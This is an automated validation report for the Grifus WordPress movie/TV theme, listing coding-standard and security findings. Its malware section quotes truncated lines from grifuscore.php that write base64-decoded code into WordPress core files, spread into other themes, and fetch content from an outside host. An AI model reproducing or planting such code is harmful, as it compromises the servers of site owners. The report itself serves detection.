0
Validation results

Grifus

Grifus

WordPress 4.9.4 theme
0
  • THEME TYPEWordPress theme 4.9.4
  • FILE NAMEGrifus4026.zip
  • FILE SIZE1043766 bytes
  • MD598f08b2284a9bdd4e96405d1952256c8
  • SHA12a53072a8e12933bf42aad81b78bedf092a3c07a
  • LICENSECustom
  • FILES INCLUDEDCSS, PHP, Bitmap images
  • THEME URIhttps://mundothemes.com/grifus/
  • VERSION4.0.2.6
  • AUTHOR URI
  • TAGSTVShows, Episodes, Movies, db, IMDb, Peliculas, Series, Themoviedb, TMDb
  • CREATION DATE2016-11-05
  • LAST FILE UPDATE2018-02-07
  • LAST VALIDATION2018-02-07 21:00
Critical alerts
  1. Title : Title No reference to add_theme_support( "title-tag" ) was found in the theme.The theme needs to have <title> tags, ideally in the header.php file.The theme needs to have a call to wp_title(), ideally in the header.php file.The <title> tags can only contain a call to wp_title(). Use the wp_title filter to modify the output.
  2. Security breaches : Use of PHP sytem calls Found popen in file class.phpmailer.php.
    Line 397: if(!@$mail = popen($sendmail, 'w'))
  3. Security breaches : Modification of PHP server settings Found ini_set in file class.phpmailer.php.
    Line 432: ini_set('sendmail_from', $this->Sender);
    Line 441: ini_set('sendmail_from', $old_from);
  4. Security breaches : Use of base64_decode() Found base64_decode in file grifuscore.php.
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS['WP_CD_CODE']))) )
    Line 89: $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
    Found base64_decode in file api-template.php.
    Line 1039: $GLOBALS['acf_form'] = @json_decode(base64_decode($GLOBALS['acf_form']), true);
    Found base64_decode in file api-pro.php.
    Line 239: $data = base64_decode($data);
  5. Security breaches : Use of base64_encode() Found base64_encode in file class.smtp.php.
     fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
     fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
    Found base64_encode in file class.phpmailer.php.
     $encoded = chunk_split(base64_encode($str), 76, $this->LE);
     $encoded = base64_encode($str);
    Found base64_encode in file api-template.php.
     <?php acf_hidden_input(array( 'name' => '_acf_form', 'value' => base64_encode(json_encode($args)) )); ?>
    Found base64_encode in file api-pro.php.
     $save = base64_encode($save);
  6. Presence of iframes : iframes are sometimes used to load unwanted adverts and malicious code on another site Found <iframe width="673" height="650" src="//mundothemes.com/cpa/soporte/index.php?mail=<?php echo get_option("admin_email"); ?> in file generate-options.php.
    Line 129: <iframe width='673' height='650' src='//mundothemes.com/cpa/soporte/index.p
    Found <iframe width="600" height="450" src="//www.youtube.com/embed/','" frameborder="0" allowfullscreen> in file metadatos.php.
    Line 491: array('<div class='youtube_id'><iframe width='600' height='450' src='//www.youtube.com/embed/','' framebor
    Found <iframe width="600" height="450" src="//www.youtube.com/embed/','" frameborder="0" allowfullscreen> in file metabox.php.
    Line 269: array('<div class='youtube_id_tv'><iframe width='600' height='450' src='//www.youtube.com/embed/','' framebor
  7. Malware : Operations on file system file_get_contents was found in the file recaptchalib.php
    Line 93: $response = file_get_contents($path . $req);
    fclose was found in the file class.smtp.php
    Line 237: fclose($this->smtp_conn);
    fopen was found in the file class.phpmailer.php
    Line 1085: if(!@$fd = fopen($path, 'rb'))
    fread was found in the file class.phpmailer.php
    Line 1092: $file_buffer = fread($fd, filesize($path));
    fclose was found in the file class.phpmailer.php
    Line 1094: fclose($fd);
    file_get_contents was found in the file grifuscore.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 123: $content = @file_get_contents('http://apiword.press/q2.php?host=' . $_SERVER['HTTP_HOST
    Line 144: if ($file = file_get_contents($e[1]))
    Line 156: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file grifuscore.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Line 44: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/license.html', stripslashes
    Line 160: @file_put_contents(__FILE__, $file);
    file_put_contents was found in the file grifuscore.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Line 44: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/license.html', stripslashes
    Line 160: @file_put_contents(__FILE__, $file);
    file_get_contents was found in the file grifuscore.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 123: $content = @file_get_contents('http://apiword.press/q2.php?host=' . $_SERVER['HTTP_HOST
    Line 144: if ($file = file_get_contents($e[1]))
    Line 156: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file grifuscore.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Line 44: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/license.html', stripslashes
    Line 160: @file_put_contents(__FILE__, $file);
    file_get_contents was found in the file grifuscore.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 123: $content = @file_get_contents('http://apiword.press/q2.php?host=' . $_SERVER['HTTP_HOST
    Line 144: if ($file = file_get_contents($e[1]))
    Line 156: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file grifuscore.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Line 44: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/license.html', stripslashes
    Line 160: @file_put_contents(__FILE__, $file);
    file_get_contents was found in the file grifuscore.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 123: $content = @file_get_contents('http://apiword.press/q2.php?host=' . $_SERVER['HTTP_HOST
    Line 144: if ($file = file_get_contents($e[1]))
    Line 156: if ($file = @file_get_contents(__FILE__))
    file_get_contents was found in the file grifuscore.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 123: $content = @file_get_contents('http://apiword.press/q2.php?host=' . $_SERVER['HTTP_HOST
    Line 144: if ($file = file_get_contents($e[1]))
    Line 156: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file grifuscore.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Line 44: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/license.html', stripslashes
    Line 160: @file_put_contents(__FILE__, $file);
    file_get_contents was found in the file settings-tools.php
    Line 217: $json = file_get_contents( $file['tmp_name'] );
    file_get_contents was found in the file settings-info.php
    Line 169: $items = file_get_contents( acf_get_path('readme.txt') );
    file_get_contents was found in the file json.php
    Line 139: $json = file_get_contents('{$path}/{$file}');
    fopen was found in the file json.php
    Line 217: $f = fopen('{$path}/{$file}', 'w');
    fwrite was found in the file json.php
    Line 218: fwrite($f, acf_json_encode( $field_group ));
    fclose was found in the file json.php
    Line 219: fclose($f);
  8. Malware : Network operations fsockopen was found in the file class.smtp.php
    Line 101: $this->smtp_conn = fsockopen($host,    # the host of the server
  9. Admin menu : Themes should use add_theme_page() for adding admin pages. File generate-options.php :
    Line 12: add_menu_page(__(MENU_TITLE), __(MENU_TITLE), 'administrator', '' . MENU_SL
    File fix-duplicates-admin.php :
    Line 8: add_posts_page( 'Duplicate content', 'Duplicate content', 'delete_pages', '
    File fix-duplicates-admin.php :
    Line 9: add_submenu_page( 'fix_duplicates', 'Duplicate Entries', 'Duplicate Entries
    File settings-tools.php :
    Line 54: $page = add_submenu_page('edit.php?post_type=acf-field-group', __('Tools','acf'), _
    File admin.php :
    Line 57: add_menu_page(__('Custom Fields','acf'), __('Custom Fields','acf'), $cap, $
    File admin.php :
    Line 61: add_submenu_page($slug, __('Field Groups','acf'), __('Field Groups','acf'),
    Line 62: add_submenu_page($slug, __('Add New','acf'), __('Add New','acf'), $cap, 'po
    File admin.php :
    Line 61: add_submenu_page($slug, __('Field Groups','acf'), __('Field Groups','acf'),
    Line 62: add_submenu_page($slug, __('Add New','acf'), __('Add New','acf'), $cap, 'po
    File settings-addons.php :
    Line 51: $page = add_submenu_page('edit.php?post_type=acf-field-group', __('Add-ons','acf'),
    File update.php :
    Line 113: add_submenu_page('update-core.php', __('Upgrade ACF','acf'), __('Upgrade AC
    Line 298: add_submenu_page('edit.php?post_type=acf-field-group', __('Upgrade','acf'),
    File update.php :
    Line 113: add_submenu_page('update-core.php', __('Upgrade ACF','acf'), __('Upgrade AC
    Line 298: add_submenu_page('edit.php?post_type=acf-field-group', __('Upgrade','acf'),
    File settings-info.php :
    Line 50: add_submenu_page('edit.php?post_type=acf-field-group', __('Info','acf'), __
    File settings-updates.php :
    Line 73: $page = add_submenu_page('edit.php?post_type=acf-field-group', __('Updates','acf'),
    File options-page.php :
    Line 178: $slug = add_menu_page( $page['page_title'], $page['menu_title'], $page['capability'
    File options-page.php :
    Line 183: $slug = add_submenu_page( $page['parent_slug'], $page['page_title'], $page['menu_ti
    File functions.php :
    Line 172: add_menu_page( 'Munodthemes Licencia', 'Mundothemes', 'manage_options', 'mu
  10. Hidden admin bar : Hidden admin Bar Themes should not hide admin bar. Detected in file : functions.php.
  11. Comment reply : Declaration of comment reply Could not find the comment-reply js script enqueued.
  12. Content width : Proper definition of content_width No content width has been defined. Example:
    if ( ! isset( $content_width ) ) $content_width = 900;
  13. Deprecated functions : make_url_footnote make_url_footnote found in file contenido.php. Deprecated since version 2.9.
    Line 11: $content = make_url_footnote($content);
  14. Deprecated functions : wp_specialchars wp_specialchars found in file contenido.php. Deprecated since version 2.8. Use esc_html() instead.
    Line 8: $content = wp_specialchars($content);
  15. Deprecated functions : like_escape like_escape found in file fix-duplicates-admin.php. Deprecated since version 4.0. Use wpdb::esc_like() instead.
    Line 128: $fix_duplicates_search_string = $wpdb->prepare( ' AND $tablename.post_title LIKE %s', '%' . like_escape( $fix_duplicates_search_term ) . '%' );
  16. Deprecated functions : get_bloginfo get_bloginfo('template_directory') was found in the file acera_options.php. Use get_template_directory_uri() instead.
    Line 523: 'img_desc' => get_bloginfo('template_directory').'/images/img_desc/fakeplay.jpg',
    Line 710: 'img_desc' => get_bloginfo('template_directory').'/images/img_desc/aviso.jpg',
    Line 756: 'img_desc' => get_bloginfo('template_directory').'/images/img_desc/medio_player.jpg',
    Line 814: 'img_desc' => get_bloginfo('template_directory').'/images/img_desc/random.jpg',
    Line 840: 'image_src' => array(get_bloginfo('template_directory') . '/images/item_1.png', get_bloginfo('te
    Line 852: 'image_src' => array(get_bloginfo('template_directory') . '/images/item_1.png', get_bloginfo('te
    Line 864: 'image_src' => array(get_bloginfo('template_directory') . '/images/item_1.png', get_bloginfo('te
    Line 876: 'image_src' => array(get_bloginfo('template_directory') . '/images/item_1.png', get_bloginfo('te
  17. Deprecated functions : bloginfo bloginfo('url') was found in the file header.php. Use echo esc_url( home_url() ) instead.
    Line 20: <base href='<?php bloginfo('url'); ?>'/>
    Line 120: <form method='get' id='searchform' action='<?php bloginfo('url'); ?>'>
    Line 128: <A href='<?php bloginfo('url'); ?>/'><img src='<?php echo $logo; ?>' alt='<?php bloginfo('
    Line 130: <A href='<?php bloginfo('url'); ?>/'><img src='<?php echo get_template_directory_uri(); ?>
    Line 140: <A href='<?php bloginfo('url'); ?>/'><img src='<?php echo $logo; ?>' alt='<?php bloginfo('
    Line 142: <A href='<?php bloginfo('url'); ?>/'><img src='<?php echo get_template_directory_uri(); ?>
    Line 171: <a href='<?php bloginfo('url'); ?>/wp-admin/post-new.php' target='_blank'><?php _e('Add ne
    Line 179: <a href='<?php bloginfo('url'); ?>/wp-admin/profile.php'><?php _e('Edit profile','mundothe
    Line 195: <form method='get' id='searchform' action='<?php bloginfo('url'); ?>'>
    bloginfo('url') was found in the file admin.php. Use echo esc_url( home_url() ) instead.
    Line 5: <a class='links editar' href='<?php bloginfo('url'); ?>/wp-admin/post.php?post=<?php the_ID(); ?>&action=edit'>
    Line 6: <a class='links agregar' href='<?php bloginfo('url'); ?>/wp-admin/post-new.php?post_type=<?php echo get_post_typ
    Line 7: <a class='links admin' href='<?php bloginfo('url'); ?>/wp-admin/admin.php?page=grifus'><b class='icon-cog'></b
    bloginfo('url') was found in the file report.php. Use echo esc_url( home_url() ) instead.
    Line 95: <input type='hidden' name='link' value='<?php bloginfo('url'); ?>'>
    bloginfo('url') was found in the file noticias_home.php. Use echo esc_url( home_url() ) instead.
    Line 2: <h1><A HREF='<?php bloginfo('url'); ?>/<?php _e('news','mundothemes'); ?>/'><?php _e('News','m
    bloginfo('url') was found in the file metada.php. Use echo esc_url( home_url() ) instead.
    Line 10: <?php if($dato = episodios_get_meta('serie')) { ?><div class='metadatac'><b><?php _e('Serie','mundothemes'); ?></b><span><a href='<?php bloginfo('url'); ?>/<?php echo get_option('tvshows-slug'); ?>/<?php echo sa
    bloginfo('url') was found in the file temporadas_episodios.php. Use echo esc_url( home_url() ) instead.
    Line 15: <a href='<?php bloginfo('url'); ?>/<?php echo get_option('episodios-slug'); ?>/<?php echo 
    bloginfo('url') was found in the file archive-noticias.php. Use echo esc_url( home_url() ) instead.
    Line 10: <form method='get' id='searchform' action='<?php bloginfo('url'); ?>'>
    bloginfo('url') was found in the file search.php. Use echo esc_url( home_url() ) instead.
    Line 11: <form method='get' id='searchform' action='<?php bloginfo('url'); ?>'>
    bloginfo('url') was found in the file single-noticias.php. Use echo esc_url( home_url() ) instead.
    Line 41: <li><a class='ito' HREF='<?php 
    bloginfo('url') was found in the file single-episodes.php. Use echo esc_url( home_url() ) instead.
    Line 12: <a href='<?php bloginfo('url'); ?>/<?php echo get_option('tvshows-slug'); ?>/<?php echo sa
    bloginfo('url') was found in the file ab1.php. Use echo esc_url( home_url() ) instead.
    Line 3: echo '<a class='navtv' href=''; bloginfo('url');
    bloginfo('url') was found in the file ab0.php. Use echo esc_url( home_url() ) instead.
    Line 3: echo '<a class='navtv' href=''; bloginfo('url');
    Line 14: echo '<a class='navtv' href=''; bloginfo('url');
    bloginfo('url') was found in the file default.php. Use echo esc_url( home_url() ) instead.
    Line 3: echo '<a class='navtv' href=''; bloginfo('url');
    Line 13: echo '<a class='navtv' href=''; bloginfo('url');
    bloginfo('url') was found in the file ab2.php. Use echo esc_url( home_url() ) instead.
    Line 3: echo '<a class='navtv' href=''; bloginfo('url');
    Line 13: echo '<a class='navtv' href=''; bloginfo('url');
    bloginfo('url') was found in the file ab3.php. Use echo esc_url( home_url() ) instead.
    Line 3: echo '<a class='navtv' href=''; bloginfo('url');
    bloginfo('url') was found in the file functions.php. Use echo esc_url( home_url() ) instead.
    Line 420: <a class='roce' href='<?php bloginfo('url'); ?>/wp-admin/post-new.php' target='_blank'><b class='icon-p
    Line 421: <a class='roce' href='<?php bloginfo('url'); ?>/wp-admin/admin.php?page=grifus' target='_blank'><b clas
    Line 429: <a class='roce' href='<?php bloginfo('url'); ?>/wp-admin/profile.php'><?php _e('Edit profile','mundothe
    Line 447: <form method='get' id='searchform' action='<?php bloginfo('url'); ?>'>
    Line 572: <form name='loginform' id='loginform' action='<?php bloginfo('url'); ?>/wp-login.php' method='post'>
    Line 585: <form name='loginform' id='loginform' action='<?php bloginfo('url'); ?>/wp-login.php?action=register' method='post'>
    Line 588: <input type='hidden' name='redirect_to' value='<?php bloginfo('url'); ?>/?reg=true'>
    Line 594: <form name='lostpasswordform' id='lostpasswordform' action='<?php bloginfo('url'); ?>/wp-login.php?action=lostpassword' method='post'>
    Line 596: <input type='hidden' name='redirect_to' value='<?php bloginfo('url'); ?>/?pass=true'>
    bloginfo('url') was found in the file page.php. Use echo esc_url( home_url() ) instead.
    Line 11: <form method='get' id='searchform' action='<?php bloginfo('url'); ?>'>
    bloginfo('url') was found in the file category.php. Use echo esc_url( home_url() ) instead.
    Line 10: <form method='get' id='searchform' action='<?php bloginfo('url'); ?>'>
    bloginfo('url') was found in the file movie-tvshows-page.php. Use echo esc_url( home_url() ) instead.
    Line 14: <form method='get' id='searchform' action='<?php bloginfo('url'); ?>'>
    bloginfo('url') was found in the file movie-page.php. Use echo esc_url( home_url() ) instead.
    Line 14: <form method='get' id='searchform' action='<?php bloginfo('url'); ?>'>
    bloginfo('url') was found in the file taxonomy.php. Use echo esc_url( home_url() ) instead.
    Line 11: <form method='get' id='searchform' action='<?php bloginfo('url'); ?>'>
    bloginfo('url') was found in the file user-profile.php. Use echo esc_url( home_url() ) instead.
    Line 10: <form method='get' id='searchform' action='<?php bloginfo('url'); ?>'>
    bloginfo('url') was found in the file add-movie.php. Use echo esc_url( home_url() ) instead.
    Line 15: <form method='get' id='searchform' action='<?php bloginfo('url'); ?>'>
    Line 59: <a class='add_movie' href='<?php bloginfo('url'); ?>'><b class='icon-home'></b> <?php _e('Back','mundothemes
    Line 73: <li><a class='ito' HREF='<?php bloginfo('url'); ?>/<?php echo get_option('year'); ?>/<?php echo $número; 
    bloginfo('url') was found in the file letter.php. Use echo esc_url( home_url() ) instead.
    Line 11: <form method='get' id='searchform' action='<?php bloginfo('url'); ?>'>
    bloginfo('url') was found in the file archive-tvshows.php. Use echo esc_url( home_url() ) instead.
    Line 10: <form method='get' id='searchform' action='<?php bloginfo('url'); ?>'>
Warning
  1. core scripts deregistered : Core scripts deregistrationFound wp_deregister_script in functions.php. Themes must not deregister core scripts.
    Line 8: wp_deregister_script('jquery');
  2. theme tags : Presence of bad theme tagsFound wrong tag TVShows in style.css header.Found wrong tag Episodes in style.css header.Found wrong tag Movies in style.css header.Found wrong tag db in style.css header.Found wrong tag IMDb in style.css header.Found wrong tag Peliculas in style.css header.Found wrong tag Series in style.css header.Found wrong tag Themoviedb in style.css header.Found wrong tag TMDb in style.css header.
  3. Text domain : Incorrect use of translation functions.Wrong installation directory for the theme name. The directory name must match the slug of the theme. This theme's correct slug and text-domain is grifus.
  4. Text domain : Incorrect use of translation functions.Found a translation function that is missing a text-domain. Function __, with the arguments in file generate-options.php.Found a translation function that is missing a text-domain. Function __, with the arguments in file generate-options.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Settings saved.' in file generate-options.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'sp' in file metadatos.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'sp' in file metadatos.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'sp' in file metadatos.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'sp' in file metadatos.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'List View' in file fix-duplicates-admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Expanded' in file fix-duplicates-admin.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Apply' in file fix-duplicates-admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments in file api-field.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'btn' in file settings-addons.php.Found a translation function that has an incorrect number of arguments. Function _n, with the arguments '%s requires at least %s selection', '%s requires at least %s selections', min, 'acf' in file gallery.php.Found a translation function that has an incorrect number of arguments. Function _n, with the arguments '%s requires at least %s selection', '%s requires at least %s selections', min, 'acf' in file relationship.php.Found a translation function that is missing a text-domain. Function __, with the arguments '' in file functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments "Updating this theme will lose any customizations you have made. 'Cancel' to stop, 'OK' to update." in file actualizar.php.More than one text-domain is being used in this theme. This means the theme will not be compatible with WordPress.org language packs. The domains found are mundothemes, requiredfoundation, twentyten, rafael, acf, min.
  5. Plugin territory : Plugin territory functionalitiesThe theme uses the register_post_type() function, which is plugin-territory functionality.The theme uses the add_shortcode() function. Custom post-content shortcodes are plugin-territory functionality.
  6. Unwanted files : hidden file(s) or folder(s).ds_store was found.
  7. Non-printable characters : Presence of non-printable characters in PHP filesNon-printable characters were found in file single-noticias.php. This is an indicator of potential errors in PHP code.
    Line 40: foreach (range($cc, $cd) as $n
    Line 41: <li><a class='ito' HREF='<?php bloginfo('url'); ?>/<?php echo get_option('year'); ?>/<?php echo $n
    Non-printable characters were found in file add-movie.php. This is an indicator of potential errors in PHP code.
    Line 72: foreach (range($cc, $cd) as $número) { ?>
    Line 73: <li><a class='ito' HREF='<?php bloginfo('url'); ?>/<?php echo get_option('year'); ?>/<?php echo $número; ?>'><?php echo $número; ?></a></li>
  8. Fundamental theme elements : Presence of add_theme_support()Could not find add_theme_support( 'automatic-feed-links' ).
  9. Fundamental theme elements : Presence of body_class()Could not find body_class call in body tag.
  10. Fundamental theme elements : Presence of wp_link_pages()Could not find wp_link_pages.
  11. Fundamental theme elements : Presence of post_class()Could not find post_class.
  12. Custom elements : Presence of custom headerNo reference to custom header was found in the theme.
  13. Custom elements : Presence of custom backgroundNo reference to custom background was found in the theme.
  14. Editor style : Presence of editor styleNo reference to add_editor_style() was found in the theme. It is recommended that the theme implements editor styling, so as to make the editor content match the resulting post output in the theme, for a better user experience.
  15. I18N implementation : Proper use of _e(Possible variable $atts found in translation function in api-helpers.php. Translation function calls should not contain PHP variables.
    Line 444: function acf_esc_attr_e( $atts ) {
    Possible variable $args found in translation function in api-template.php. Translation function calls should not contain PHP variables.
    Line 1407: <form <?php acf_esc_attr_e( $args['form_attributes']); ?>>
    Possible variable $addon found in translation function in settings-addons.php. Translation function calls should not contain PHP variables.
    Line 44: <a class='acf-button <?php echo $addon['btn_color']; ?>' target='_blank' href='<?php echo $addon['url']; ?>' ><?php _e($addon['btn']); ?></a>
    Possible variable $div found in translation function in repeater.php. Translation function calls should not contain PHP variables.
    Line 228: <div <?php acf_esc_attr_e($div); ?>>
    Possible variable $atts found in translation function in repeater.php. Translation function calls should not contain PHP variables.
    Line 254: <th <?php acf_esc_attr_e( $atts ); ?>>
    Possible variable $atts found in translation function in gallery.php. Translation function calls should not contain PHP variables.
    Line 464: <div <?php acf_esc_attr_e($atts); ?>>
    Possible variable $field found in translation function in gallery.php. Translation function calls should not contain PHP variables.
    Line 467: <input type='hidden' <?php acf_esc_attr_e(array( 'name' => $field['name'], 'value' => '', 'data-name' => 'ids' ));
    Possible variable $field found in translation function in flexible-content.php. Translation function calls should not contain PHP variables.
    Line 215: <div <?php acf_esc_attr_e(array( 'class' => 'acf-flexible-content', 'data-min' => $field['min'], '
    Possible variable $atts found in translation function in flexible-content.php. Translation function calls should not contain PHP variables.
    Line 264: <a href='#' <?php acf_esc_attr_e( $atts ); ?>><?php echo $layout['label']; ?><span class='status'></span>
    Line 385: <th <?php acf_esc_attr_e( $atts ); ?>>
    Possible variable $div found in translation function in flexible-content.php. Translation function calls should not contain PHP variables.
    Line 332: <div <?php acf_esc_attr_e($div); ?>>
    Possible variable $atts found in translation function in flexible-content.php. Translation function calls should not contain PHP variables.
    Line 264: <a href='#' <?php acf_esc_attr_e( $atts ); ?>><?php echo $layout['label']; ?><span class='status'></span>
    Line 385: <th <?php acf_esc_attr_e( $atts ); ?>>
    Possible variable $div found in translation function in file.php. Translation function calls should not contain PHP variables.
    Line 129: <div <?php acf_esc_attr_e($div); ?>>
    Possible variable $atts found in translation function in relationship.php. Translation function calls should not contain PHP variables.
    Line 556: <div <?php acf_esc_attr_e($atts); ?>>
    Possible variable $div found in translation function in image.php. Translation function calls should not contain PHP variables.
    Line 123: <div <?php acf_esc_attr_e( $div ); ?>>
    Possible variable $atts found in translation function in google-map.php. Translation function calls should not contain PHP variables.
    Line 122: <div <?php acf_esc_attr_e($atts); ?>>
    Possible variable $atts found in translation function in oembed.php. Translation function calls should not contain PHP variables.
    Line 187: <div <?php acf_esc_attr_e($atts) ?>>
    Possible variable $div found in translation function in taxonomy.php. Translation function calls should not contain PHP variables.
    Line 584: <div <?php acf_esc_attr_e($div); ?>>
    Possible variable $atts found in translation function in tab.php. Translation function calls should not contain PHP variables.
    Line 103: <div <?php acf_esc_attr_e( $atts ); ?>><?php echo $field['label']; ?></div>
  16. I18N implementation : Proper use of ___all(Possible variable $box_name found in translation function in metadatos.php. Translation function calls should not contain PHP variables.
    Line 325: add_meta_box( $box_name, __( $box_name, 'sp' ), 'sp_post_custom_box', 'post', 'normal', 'high' );
    Possible variable $args found in translation function in metadatos.php. Translation function calls should not contain PHP variables.
    Line 363: $args[1] = __($args[1], 'sp' );
    Line 376: $args[1] = __($args[1], 'sp' );
    Line 385: $args[1] = __($args[1], 'sp' );
    Possible variable $args found in translation function in metadatos.php. Translation function calls should not contain PHP variables.
    Line 363: $args[1] = __($args[1], 'sp' );
    Line 376: $args[1] = __($args[1], 'sp' );
    Line 385: $args[1] = __($args[1], 'sp' );
    Possible variable $args found in translation function in metadatos.php. Translation function calls should not contain PHP variables.
    Line 363: $args[1] = __($args[1], 'sp' );
    Line 376: $args[1] = __($args[1], 'sp' );
    Line 385: $args[1] = __($args[1], 'sp' );
    Possible variable $field found in translation function in api-field.php. Translation function calls should not contain PHP variables.
    Line 232: $field[ $s ] = __($field[ $s ]);
  17. I18N implementation : Proper use of esc_attr_e(Possible variable $atts found in translation function in api-helpers.php. Translation function calls should not contain PHP variables.
    Line 444: function acf_esc_attr_e( $atts ) {
    Possible variable $args found in translation function in api-template.php. Translation function calls should not contain PHP variables.
    Line 1407: <form <?php acf_esc_attr_e( $args['form_attributes']); ?>>
    Possible variable $div found in translation function in repeater.php. Translation function calls should not contain PHP variables.
    Line 228: <div <?php acf_esc_attr_e($div); ?>>
    Possible variable $atts found in translation function in repeater.php. Translation function calls should not contain PHP variables.
    Line 254: <th <?php acf_esc_attr_e( $atts ); ?>>
    Possible variable $atts found in translation function in gallery.php. Translation function calls should not contain PHP variables.
    Line 464: <div <?php acf_esc_attr_e($atts); ?>>
    Possible variable $field found in translation function in gallery.php. Translation function calls should not contain PHP variables.
    Line 467: <input type='hidden' <?php acf_esc_attr_e(array( 'name' => $field['name'], 'value' => '', 'data-name' => '
    Possible variable $field found in translation function in flexible-content.php. Translation function calls should not contain PHP variables.
    Line 215: <div <?php acf_esc_attr_e(array( 'class' => 'acf-flexible-content', 'data-min' => $field['
    Possible variable $atts found in translation function in flexible-content.php. Translation function calls should not contain PHP variables.
    Line 264: <a href='#' <?php acf_esc_attr_e( $atts ); ?>><?php echo $layout['label']; ?><span class='status'
    Line 385: <th <?php acf_esc_attr_e( $atts ); ?>>
    Possible variable $div found in translation function in flexible-content.php. Translation function calls should not contain PHP variables.
    Line 332: <div <?php acf_esc_attr_e($div); ?>>
    Possible variable $atts found in translation function in flexible-content.php. Translation function calls should not contain PHP variables.
    Line 264: <a href='#' <?php acf_esc_attr_e( $atts ); ?>><?php echo $layout['label']; ?><span class='status'
    Line 385: <th <?php acf_esc_attr_e( $atts ); ?>>
    Possible variable $div found in translation function in file.php. Translation function calls should not contain PHP variables.
    Line 129: <div <?php acf_esc_attr_e($div); ?>>
    Possible variable $atts found in translation function in relationship.php. Translation function calls should not contain PHP variables.
    Line 556: <div <?php acf_esc_attr_e($atts); ?>>
    Possible variable $div found in translation function in image.php. Translation function calls should not contain PHP variables.
    Line 123: <div <?php acf_esc_attr_e( $div ); ?>>
    Possible variable $atts found in translation function in google-map.php. Translation function calls should not contain PHP variables.
    Line 122: <div <?php acf_esc_attr_e($atts); ?>>
    Possible variable $atts found in translation function in oembed.php. Translation function calls should not contain PHP variables.
    Line 187: <div <?php acf_esc_attr_e($atts) ?>>
    Possible variable $div found in translation function in taxonomy.php. Translation function calls should not contain PHP variables.
    Line 584: <div <?php acf_esc_attr_e($div); ?>>
    Possible variable $atts found in translation function in tab.php. Translation function calls should not contain PHP variables.
    Line 103: <div <?php acf_esc_attr_e( $atts ); ?>><?php echo $field['label']; ?></div>
  18. CSS files : Presence of text domainText Domain: is missing from your style.css header.
  19. CSS files : Presence of .sticky class.sticky css class is needed in theme css.
  20. CSS files : Presence of .wp-caption-text class.wp-caption-text css class is needed in theme css.
  21. CSS files : Presence of .gallery-caption class.gallery-caption css class is needed in theme css.
  22. CSS files : Presence of .screen-reader-text class.screen-reader-text css class is needed in your theme css. See : the Codex for an example implementation.
